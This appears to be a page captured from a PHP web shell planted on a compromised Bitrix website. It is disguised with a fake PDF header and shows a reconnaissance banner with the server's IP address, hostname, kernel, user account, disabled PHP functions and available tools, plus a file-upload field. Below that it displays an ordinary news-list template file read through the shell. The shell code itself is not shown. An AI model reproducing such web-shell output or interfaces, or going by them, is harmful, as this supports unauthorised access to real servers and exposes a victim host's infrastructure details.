%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.7.151 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/imag/24/bitrix/templates/artlot24/components/bitrix/news.list/news-list/ |
Upload File : |
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Iblock\SectionTable; use Bitrix\Main\Loader; Loader::includeModule("iblock"); /** @var array $arParams */ /** @var array $arResult */ /** @global CMain $APPLICATION */ /** @global CUser $USER */ /** @global CDatabase $DB */ /** @var CBitrixComponentTemplate $this */ /** @var string $templateName */ /** @var string $templateFile */ /** @var string $templateFolder */ /** @var string $componentPath */ /** @var CBitrixComponent $component */ $this->setFrameMode(true); ?> <? $currentSectionPath = $APPLICATION->GetCurDir(); $currentSectionPathArray = explode('/', trim($currentSectionPath, '/')); $currentSectionCode = end($currentSectionPathArray); // Получаем идентификатор раздела по его символьному коду $currentSectionID = null; $filter = [ 'IBLOCK_ID' => $arParams["IBLOCK_ID"], 'CODE' => $currentSectionCode ]; $select = ['ID']; $sectionResult = SectionTable::getList([ 'filter' => $filter, 'select' => $select, 'limit' => 1 ]); if ($section = $sectionResult->fetch()) { $currentSectionID = $section['ID']; } // Если идентификатор раздела найден, фильтруем элементы по текущему разделу if ($currentSectionID !== null) { $arFilteredItems = []; foreach ($arResult["ITEMS"] as $arItem) { $elementID = $arItem["ID"]; $rsSections = CIBlockElement::GetElementGroups($elementID, true, ['ID']); $sectionIDs = []; while ($arSection = $rsSections->Fetch()) { $sectionIDs[] = $arSection['ID']; } if (in_array($currentSectionID, $sectionIDs)) { $arFilteredItems[] = $arItem; } } // Заменяем исходный массив элементов отфильтрованным массивом $arResult["ITEMS"] = $arFilteredItems; } ?> <div class="feed"> <?foreach($arResult["ITEMS"] as $arItem):?> <a href="<?echo $arItem["DETAIL_PAGE_URL"]?>" class="item" style="background-image: url('<?=$arItem["PREVIEW_PICTURE"]["SRC"]?>');"> <div class="overlay"> <div class="content"> <p><?echo $arItem["NAME"]?></p> </div> <div class="bottom"> <img src="/images/theme/feed-link.png"> <span><?echo $arItem["DISPLAY_ACTIVE_FROM"]?></span> </div> </div> </a> <?endforeach;?> </div>